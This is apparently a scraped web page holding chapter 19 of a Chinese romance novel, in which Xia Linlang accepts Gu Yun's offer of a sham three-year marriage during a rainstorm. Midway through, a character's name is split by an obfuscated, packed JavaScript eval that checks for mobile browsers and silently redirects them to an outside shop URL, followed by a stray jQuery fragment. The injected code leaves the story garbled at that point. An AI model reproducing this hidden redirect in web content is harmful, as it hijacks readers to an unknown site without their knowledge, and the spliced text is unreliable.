19. 第 19 章
    夏日的雨说来就来,迅且急,夏琳琅没在雨里走多久,身上就已经湿透了,风一吹,透着凉。

    依旧是之前去过的顾筠那私宅,但这次不是在书房,顾筠让管事单独给了她一间屋子。

    还依着吩咐,给她准备了一套干净整洁的女子衣物,这里是男子的私宅,自己和这手里的东西本就是格格不入的存在,又想到自己不仅几次三番的造访,这次竟然是直接登堂入室的更衣。

    心里轻嘶了一声,想想这感觉,着实有些怪异,以至于在换衣裳的时候,手脚都不自觉的加快,像是背后有人在无声催促一样。

    换好衣裳之后,自有人领着她去会客花厅,说顾筠已经等在那里了,她没敢耽误,顺了顺衣角后就跟人走了。

    到了花厅坐下,捧着下人端上来的热茶,这才有机会来打量自己而今所处的地方。

    和之前去过的书房异曲同工,这花厅的布置寡淡,没有繁复的装饰和摆设,一眼望去,简单明了,也正是如此,才会透着一丝疏离冷肃的气氛,就和它的主人一样。

    以至于她直到现在都还有些恍惚,觉得今日从见到顾筠起后的整个过程就像是在做梦一样。

    眼神不经意的飘到外面,一眼就能看到顾筠在游廊上同人吩咐什么,她身子在逐渐回暖,舒服的感觉让她暂时忘了身在何处,就这么不经意的盯着人一直看,心里也有一搭没一搭的在思忖。

    好一会了,到底是没思索出个所以然来,只恍惚觉得不知不觉中,自己竟对顾筠不那么设防,说走就走,说答应,头脑一热,也就真的答应了。

    想起之前自己在雨幕中说过的那话,没头没尾的,也不知人到底听懂了没有,反倒是他,行事过于落拓,甚至还没等她再多说两句,自己就已经被领了回来。

    她还兀自在思索,拖着腮保持着之前的动作和角度,也没注意外面的动静,所以当顾筠说完话,扭头一眼望过来的时候,两道视线就这么毫无阻碍的碰撞上了。

    夏琳琅顿时就感觉到局促,陷入自我思维里久了,一旦和人对上视线,就好像周围的人都能听见自己的想法,颇有种当众自我剖白的意思,尤其是顾筠这眼神,能看穿人心似的。

    她自觉尴尬,到底没能继续迎下去,一眼过后,就匆匆躲开。

    顾筠见此,眼尾动了动,又低头简单嘱咐了两句,没过一会,夏琳琅就听到有人的脚步声传来。

    “外面的雨越下越大了,一时半会可能走不了,得多留一会。”

    对面是有人落座的声音,顾筠边走边说,直接就坐在了夏琳琅的对面,听见顾筠在说话,她下意识点头的同时目光也随之往窗外看去,檐下的雨珠这会已经化成了雨幕,接连不断的一串串,半点没有要停的意思。

    外面是滴滴答答的水声,而屋子里却安静的出奇,除却顾筠刚说过的两句话后,二人就没再做声了,阒然的有些过了头,也不知是心里觉得怪异,还是异样的感觉在作祟。

    夏琳琅捧着热茶的手有些不自然的扣了扣杯底,收回视线看了一眼对面的男人,依旧是一副矜贵寡淡的模样,想了想,默了须臾,终于是开了口:

    “嗯。”

    话落,夏琳琅就见对方添茶的动作顿了顿,那神情说不上是笑还是什么,就听他说:“方才在市肆时,不是说的挺清楚的,怎这会就一个字一个字的往外蹦了?”

    她是有些摸不大准他的心思,但有些头脑发热的话,过了那股子劲后,想要开口再说,就没那么简单了。

    支吾了片刻,她回答:“我不知道该如何说。”

    顾筠:“那你可还记得我之前说过的话?”

    夏琳琅抬头看着他,点头。

    “当初你没答应,说要想想,那现在呢?可想清楚了?”

    他边说手里边拎着茶壶正往杯盏里注水,四平八稳的,且看那说话的样子也实在是坦荡,半点儿没有觉得荒唐的意思,反倒衬的夏琳琅这般畏缩的姿态,像是她别有所图似的。

    都是聪明人,心照不宣,话也不用说的太过明白。

    夏琳琅也就确定,之前在雨中说过的那句我‘答应你’,想来顾筠是听明白了,不然这会也不会坦坦荡荡的直接认下,而今既然他都直接提出,那自己再要扭捏,就是矫情了。

    她将杯子放在桌上,轻轻地一声响,接着抿了抿唇,做出重大决定似的点头:“想清楚了。”

    顾筠淡笑:“可怎么看你样子,倒像是受了我胁迫,一副要慷慨赴死的似的?”

    夏琳琅不知自己这会是什么神情,但听顾筠所言,担心是他有所误会,她急忙摆手澄清:“我是真的想清楚了,就按大人之前说的办吧。”

    索性所有的事情都已经到了这一步,昌平一时半会回不去,夏岭和骆氏也不待见自己,婚事也即将被用来当做父亲拉拢人的筹码…

    她咬了咬唇内,似乎所有的事情都已经走到最差的结果。

    没有比这更好的办法了,眼下也不过是破釜沉舟的决定罢了,塞翁失马,谁又能知道这事情的到最后一定就是坏的,且这已经不知是顾筠第几次相助于她了,就算不为旁的,单凭她对顾筠对顾家的了解,还不至于会做出要吃她绝户的事情来。

    她这次是看着顾筠的眼睛,一脸诚恳的说的,就神情来看,没有不愿和胁迫,也很是相信眼前人的样子。

    顾筠这次没再说话,只默默的看了她两眼,食指点了点桌案,想了想须臾后回答:

    “那就按之前说的,你同我成亲,三年里你我只是名义上的夫妻,三年后就用感情不睦的理由来和离,夫妻期间,大家互相配合对方应付长辈,亲密有间的相处,如何?”

    这话夏琳琅早之前就听过,而今她既已经答应,便是想清楚,落子无悔了。

    “嗯。”她点头。

    “你之前就说,以后想回昌平,作为补偿,分开后我会替你在昌平开女户,添置地契,田产。”

    “嗯。”她继续点头。

    顾筠看着她这幅了无所愿的样子,没来由觉得她在敷衍自己:

    “除了点头说‘嗯’以外,就没说什么说的?”

    毕竟是婚姻大事,就这样草草的做了决定,顾筠始终觉得对人家姑娘不公平,也是怕夏琳琅事后反悔,他也才会反复同她确定。

    “这次点头不是儿戏,我会白纸黑字的将我承诺的事落于纸上,你若没有异议,这事儿就这么定了?”

    夏琳

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14315297|150935||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    琅点点头,没一会,又摇摇头,看起来情绪不高的样子,想了片刻,才听她说:

    “倒是有一句想说。”

    见终于有想问的了,顾筠放下杯子,挑眉看了她一眼:“说。”

    “昌平的宅子,到时可不可以让我自己来选?”

    顾筠皱眉,似是没明白她为何这样说,那宅子本就是给她的,自然由她来选,这本就是理所应当的事情不是,犯得着再单独说一遍?

    夏琳琅见他皱眉,误以为是为难,连忙解释:

    “我想挨着外祖和舅舅近一些…所以”解释的话还没说完,就看到顾筠已经点头了。

    “有什么想要,想提的,等你过来之后告诉阿衡便是,他自会安排好一切。”

    “至于成亲的事”,顾筠抬眼看她,“我会先禀明祖母,虽说成亲是假,但婚事得是真的,三书六礼,明媒正娶自是少不了,等祖母安排安排,你便安心在家等着媒人的消息。”

    来来回回还不到十句话,两人的婚姻大事就这样商量好了,说到底也就是一桩交易,买卖双方你情我愿的事情,没得感情谈。

    外面的雨还在扑簌簌的下,依然没有减小的趋势,好在所有的事情也算有了一个不算差的结局,夏琳琅的心情没再继续低落,这会看着窗外纷纷扬扬的雨幕,连心境都与来时不一样了。

    屋外有人影晃过,是那个叫阿衡的男子,顾筠的长随,这会正端着一个托盘站在厅外,夏琳琅目光随之望过去,就看到顾筠朝外点了点头,人几步迈进来,将托盘放在桌案上,临走前,不由的看了她两眼。

    她却只听顾筠说:“过来,喝掉。”

    那托盘里头放了一只白瓷碗,盛的东西黑乎乎的,还冒着热气,心里纳罕的同时还是依言过去,没等发问,就闻到一股又甜又辣的味道:

    “是给我的?”

    顾筠敲了敲碗腹,探了下温度,不置可否:“不是淋了雨?”

    夏琳琅恍然想起方才进来的那会,顾筠的确是在外吩咐人做什么,想来就是为了熬这碗姜汤。

    她没说话,淋了一场雨又吹了一阵风,她也怕染上伤寒,抿着嘴上前一步端起那碗姜汤眉头都没皱就喝了下去。

    那汤似乎被提前放置了一会,这会不冷不热,直接就能入口的程度,之后夏琳琅感到浑身都热热的,舒服极了,也就没有吝啬自己的感谢:

    “谢谢大人。”

    顾筠抬眸看了她一眼,她这会穿了一身鹅黄色的衣裙,鲜艳的颜色和周遭有些格格不入。

    而寡淡的空气中也还泛着甜腻腻的味道,她方才喝了姜汤,嘴角还沾着一些褐色的药汁,他目光逐渐往外,入目之处,肌肤白皙,唇红齿白,他没忍住喉头上下动了动,到底是没说什么,只颔了颔首,应下了这一声。

    那天的雨格外的大,一直下个不停,两人说完话又过了好久都还是淅淅沥沥的在下,夏琳琅这会心境变了许多,没再觉得这雨下的心烦,还甚有心情的托着下颌偏着头在窗边看檐下落雨。

    身后的顾筠似乎在处理什么事,耳边间或传来书页翻动的哗哗声,可再好看的雨景也抵不住犯困,没过多久,立在窗前的那颗脑袋,就斜斜的倚靠在了窗格上。